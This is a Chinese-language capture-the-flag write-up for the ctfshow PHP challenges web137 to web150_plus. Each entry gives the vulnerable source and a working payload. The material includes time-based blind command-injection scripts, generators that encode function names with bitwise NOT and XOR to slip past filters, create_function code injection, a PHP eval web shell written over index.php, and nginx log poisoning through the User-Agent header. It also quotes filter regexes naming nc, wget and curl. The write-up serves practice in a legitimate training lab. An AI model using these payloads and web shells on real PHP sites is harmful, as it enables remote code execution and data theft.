php特性
web137
class ctfshow { function __wakeup ( ) { die ("private class" ); } static function getFlag ( ) { echo file_get_contents ("flag.php" ); } } call_user_func ($_POST ['ctfshow' ]);
能利用的点只有call_user_func
, 函数详解
在示例#3 中, 有利用call_user_func
来调用一个类里面的方法, 照葫芦画瓢就能拿下payload:
POST: ctfshow=ctfshow::getFlag
web138
class ctfshow { function __wakeup ( ) { die ("private class" ); } static function getFlag ( ) { echo file_get_contents ("flag.php" ); } } if (strripos ($_POST ['ctfshow' ], ":" )>-1 ){ die ("private function" ); } call_user_func ($_POST ['ctfshow' ]);
这下过滤了:
了
但是在call_user_func
函数文档的示例#4 中, 可以发现该函数是支持数组传入且不需要冒号, 那么可以利用数组传递payload:
POST: ctfshow[0]=ctfshow&ctfshow[1]=getFlag
web139
<?php error_reporting (0 );function check ($x ) { if (preg_match ('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i' , $x )){ die ('too young too simple sometimes naive!' ); } } if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; check ($c ); exec ($c ); } else { highlight_file (__FILE__ ); } ?>
tee写文件的方式不行了, 应该是权限不足的问题
至于脚本, 我更是不懂, 用的是类似于sql盲注的方法, 我直接给出来了:
跑目录下的文件(其实只需要改一下payload就是获取flag的)
import requestsimport timeimport stringstr = string.ascii_letters + string.digits + "-" + "{" + "}" + "_" + "~" result = "" for i in range (1 , 99 ): key = 0 for j in range (1 , 99 ): if key == 1 : break for n in str : payload = "if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi" .format (i, j, n) url = "http://89e3e82d-d133-4a9e-a883-790d41e8a3b8.challenge.ctf.show?c=" + payload try : requests.get(url, timeout=(2.5 , 2.5 )) except : result = result + n print (result) break if n == '~' : key = 1 result += " "
获取flag:
import requestsimport timeimport stringstr = string.digits + string.ascii_lowercase + "-" + "_" + "~" result = "" for j in range (1 , 99 ): for n in str : payload = "if [ `cat /f149_15_h3r3 |cut -c {0}` == {1} ];then sleep 3;fi" .format (j, n) url = "http://89e3e82d-d133-4a9e-a883-790d41e8a3b8.challenge.ctf.show?c=" + payload try : requests.get(url, timeout=(2.5 , 2.5 )) except : result = result + n print (result) break if n=="~" : result = result + "花括号"
web140
error_reporting (0 );highlight_file (__FILE__ );if (isset ($_POST ['f1' ]) && isset ($_POST ['f2' ])){ $f1 = (String)$_POST ['f1' ]; $f2 = (String)$_POST ['f2' ]; if (preg_match ('/^[a-z0-9]+$/' , $f1 )){ if (preg_match ('/^[a-z0-9]+$/' , $f2 )){ $code = eval ("return $f1 ($f2 ());" ); if (intval ($code ) == 'ctfshow' ){ echo file_get_contents ("flag.php" ); } } } }
假的没难度, 这里用的是松散比较的漏洞绕过(弱比较), 0和字符串弱比较的时候就为真,所以使得$code
为0即可让程序输出flag
payload:
POST: f1=intval&f2=intval f1=usleep&f2=usleep
附上一张松散比较的图, 从大佬那里拿过来的:
web141
if (isset ($_GET ['v1' ]) && isset ($_GET ['v2' ]) && isset ($_GET ['v3' ])){ $v1 = (String)$_GET ['v1' ]; $v2 = (String)$_GET ['v2' ]; $v3 = (String)$_GET ['v3' ]; if (is_numeric ($v1 ) && is_numeric ($v2 )){ if (preg_match ('/^\W+$/' , $v3 )){ $code = eval ("return $v1 $v3 $v2 ;" ); echo "$v1 $v3 $v2 = " .$code ; } } }
if(preg_match('/^\W+$/', $v3))
是一段 PHP 代码, 它使用了正则表达式函数preg_match
来检查变量$v3
的值是否完全由非单词字符组成
而在php中, 数字是可以和命令进行一些运算的, 减一加一都是可以正常执行的
下面给出取反程序, 其他大佬博客 一并给出
<?php fwrite (STDOUT,'[+]your function: ' );$system =str_replace (array ("\r\n" , "\r" , "\n" ), "" , fgets (STDIN)); fwrite (STDOUT,'[+]your command: ' );$command =str_replace (array ("\r\n" , "\r" , "\n" ), "" , fgets (STDIN)); echo '[*] (~' .urlencode (~$system ).')(~' .urlencode (~$command ).');' ;?>
尝试执行命令, 是可以执行的
?v1=1&v3=-(~%8C%86%8C%8B%9A%92)(~%93%8C)-&v2=1
读取flag:
?v1=1&v2=1&v3=-(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)- # tac f*
web142
if (isset ($_GET ['v1' ])){ $v1 = (String)$_GET ['v1' ]; if (is_numeric ($v1 )){ $d = (int )($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d ); sleep ($d ); echo file_get_contents ("flag.php" ); } }
强制转换为字符串然后判断是否为数字, 如果传入的值不为0则会睡眠很久
直接传入0就行了, 或者是0x0, 原因是被当成八进制和十六进制的0; payload:
web143
if (isset ($_GET ['v1' ]) && isset ($_GET ['v2' ]) && isset ($_GET ['v3' ])){ $v1 = (String)$_GET ['v1' ]; $v2 = (String)$_GET ['v2' ]; $v3 = (String)$_GET ['v3' ]; if (is_numeric ($v1 ) && is_numeric ($v2 )){ if (preg_match ('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i' , $v3 )){ die ('get out hacker!' ); } else { $code = eval ("return $v1 $v3 $v2 ;" ); echo "$v1 $v3 $v2 = " .$code ; } } }
~
没了, 但是还有^
可以用, 然后用乘除代替加减
import requestsimport urllibimport redef write_rce (): result = '' preg = '[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;' for i in range (256 ): for j in range (256 ): if not (re.match (preg, chr (i), re.I) or re.match (preg, chr (j), re.I)): k = i ^ j if k >= 32 and k <= 126 : a = '%' + hex (i)[2 :].zfill(2 ) b = '%' + hex (j)[2 :].zfill(2 ) result += (chr (k) + ' ' + a + ' ' + b + '\n' ) f = open ('xor_rce.txt' , 'w' ) f.write(result) def action (arg ): s1 = "" s2 = "" for i in arg: f = open ("xor_rce.txt" , "r" ) while True : t = f.readline() if t == "" : break if t[0 ] == i: s1 += t[2 :5 ] s2 += t[6 :9 ] break f.close() output = "(\"" + s1 + "\"^\"" + s2 + "\")" return (output) def main (): write_rce() while True : s1 = input ("\n[+] your function:" ) if s1 == "exit" : break s2 = input ("[+] your command:" ) param = action(s1) + action(s2) print ("\n[*] result:\n" + param) main()
payload:
?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%00"^"%7f%60%60%20%60%2a")*
web144
if (isset ($_GET ['v1' ]) && isset ($_GET ['v2' ]) && isset ($_GET ['v3' ])){ $v1 = (String)$_GET ['v1' ]; $v2 = (String)$_GET ['v2' ]; $v3 = (String)$_GET ['v3' ]; if (is_numeric ($v1 ) && check ($v3 )){ if (preg_match ('/^\W+$/' , $v2 )){ $code = eval ("return $v1 $v3 $v2 ;" ); echo "$v1 $v3 $v2 = " .$code ; } } } function check ($str ) { return strlen ($str )===1 ?true :false ; }
换成v2罢了, 直接用web141的套; payload:
?v1=1&v3=1&v2=-(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)
web145
if (isset ($_GET ['v1' ]) && isset ($_GET ['v2' ]) && isset ($_GET ['v3' ])){ $v1 = (String)$_GET ['v1' ]; $v2 = (String)$_GET ['v2' ]; $v3 = (String)$_GET ['v3' ]; if (is_numeric ($v1 ) && is_numeric ($v2 )){ if (preg_match ('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i' , $v3 )){ die ('get out hacker!' ); } else { $code = eval ("return $v1 $v3 $v2 ;" ); echo "$v1 $v3 $v2 = " .$code ; } } }
运算符号也过滤了, 没事可以用三目运算符: 以下命令是可以执行的:
eval ("return 1?phpinfo():1;" );
所以继续用之前的web141取反payload:
?v1=1&v2=1&v3=?(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5):
web146
if (isset ($_GET ['v1' ]) && isset ($_GET ['v2' ]) && isset ($_GET ['v3' ])){ $v1 = (String)$_GET ['v1' ]; $v2 = (String)$_GET ['v2' ]; $v3 = (String)$_GET ['v3' ]; if (is_numeric ($v1 ) && is_numeric ($v2 )){ if (preg_match ('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i' , $v3 )){ die ('get out hacker!' ); } else { $code = eval ("return $v1 $v3 $v2 ;" ); echo "$v1 $v3 $v2 = " .$code ; } } }
三元运算符也没了, 继续换, 换成或, 然后继续用payload:
?v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)|
还可以是以下的:
eval("return 1==phpinfo()||1;"); ?v1=1&v2=1&v3===(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)||
web147
if (isset ($_POST ['ctf' ])){ $ctfshow = $_POST ['ctf' ]; if (!preg_match ('/^[a-z0-9_]*$/isD' ,$ctfshow )) { $ctfshow ('' ,$_GET ['show' ]); } }
限制这个函数不能以数字, 字母和下划线开头, 然后这个函数的第一个参数是不可控的, 只能控制第二个参数
首先利用命名空间 绕过正则:
关于"\"绕过正则题目-easy-function
POST: ctf=\phpinfo # 这是不能执行的, 因为两个参数会报错
然后利用匿名函数 进行构造, create_function()
代码注入
GET传入大括号对if
语句进行闭合, 再跟上phpinfo();, 最后注释掉后面的部分即可
原理如下:
create_function ('$a' ,'echo 1;}phpinfo();//' )function f ($a ) { echo 1 ;}phpinfo (); } function f ($a ) { echo 1 ; } phpinfo ();
payload:
GET: ?show=}system("tac f*");// POST: ctf=\create_function
web148
include 'flag.php' ;if (isset ($_GET ['code' ])){ $code =$_GET ['code' ]; if (preg_match ("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/" ,$code )){ die ("error" ); } @eval ($code ); } else { highlight_file (__FILE__ ); } function get_ctfshow_fl0g ( ) { echo file_get_contents ("flag.php" ); }
异或和括号没过滤, 那就用web143异或的脚本改一下正则重新生成payload(肯定不是去调用函数了, 毕竟都有eval
了)
?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%09%01%03%01%06%02"^"%7d%60%60%21%60%28");
web149
$files = scandir ('./' ); foreach ($files as $file ) { if (is_file ($file )){ if ($file !== "index.php" ) { unlink ($file ); } } } file_put_contents ($_GET ['ctf' ], $_POST ['show' ]);$files = scandir ('./' ); foreach ($files as $file ) { if (is_file ($file )){ if ($file !== "index.php" ) { unlink ($file ); } } }
扫描当前目录, 如果该目录下有除了index.php
的文件则全部删除
文件写入操作
再次删除index.php
外的所有文件
那么只需要覆盖/替换index.php
内容就可以了
GET: ?ctf=index.php POST: show=<?php @eval($_POST[cmd]); ?>
然后就是命令执行
POST: cmd=system("tac /ctfshow_fl0g_here.txt");
web150
描述: 对我们以前的内容进行了小结,我们文件上传系列再见!
include ("flag.php" );class CTFSHOW { private $username ; private $password ; private $vip ; private $secret ; function __construct ( ) { $this ->vip = 0 ; $this ->secret = $flag ; } function __destruct ( ) { echo $this ->secret; } public function isVIP ( ) { return $this ->vip?TRUE :FALSE ; } } function __autoload ($class ) { if (isset ($class )){ $class (); } } $key = $_SERVER ['QUERY_STRING' ];if (preg_match ('/\_| |\[|\]|\?/' , $key )){ die ("error" ); } $ctf = $_POST ['ctf' ];extract ($_GET );if (class_exists ($__CTFSHOW__ )){ echo "class is exists!" ; } if ($isVIP && strrpos ($ctf , ":" )===FALSE ){ include ($ctf ); }
上面那一大串都没用; 因为$ctf
除了过滤冒号就没有任何过滤就可以进行包含, isVIP可以变量覆盖, 查看中间件发现有Nginx, 尝试日志包含
User-Agent: <?php @eval($_POST[cmd]); ?>
payload:
GET: ?isVIP=true POST: ctf=/var/log/nginx/access.log&cmd=system("tac f*");
web150_plus
include ("flag.php" );error_reporting (0 );highlight_file (__FILE__ );class CTFSHOW { private $username ; private $password ; private $vip ; private $secret ; function __construct ( ) { $this ->vip = 0 ; $this ->secret = $flag ; } function __destruct ( ) { echo $this ->secret; } public function isVIP ( ) { return $this ->vip?TRUE :FALSE ; } } function __autoload ($class ) { if (isset ($class )){ $class (); } } $key = $_SERVER ['QUERY_STRING' ];if (preg_match ('/\_| |\[|\]|\?/' , $key )){ die ("error" ); } $ctf = $_POST ['ctf' ];extract ($_GET );if (class_exists ($__CTFSHOW__ )){ echo "class is exists!" ; } if ($isVIP && strrpos ($ctf , ":" )===FALSE && strrpos ($ctf ,"log" )===FALSE ){ include ($ctf ); }
不给用日志包含了, 注意__autoload
是独立的, 不属于CTFSHOW类
在代码中新建一个对象,找不到对应的类的时候会调用__autoload
在程序中检查了$__CTFSHOW__
是否存在, 所以肯定会调用__autoload
, 现在只需要控制$__CTFSHOW__
即可, 而前面刚好有个extract($_GET);
, 先尝试利用
记得下划线绕过, 不过这里仅剩小数点了
发现成功执行, 然后搜索ctfshow就能发现flag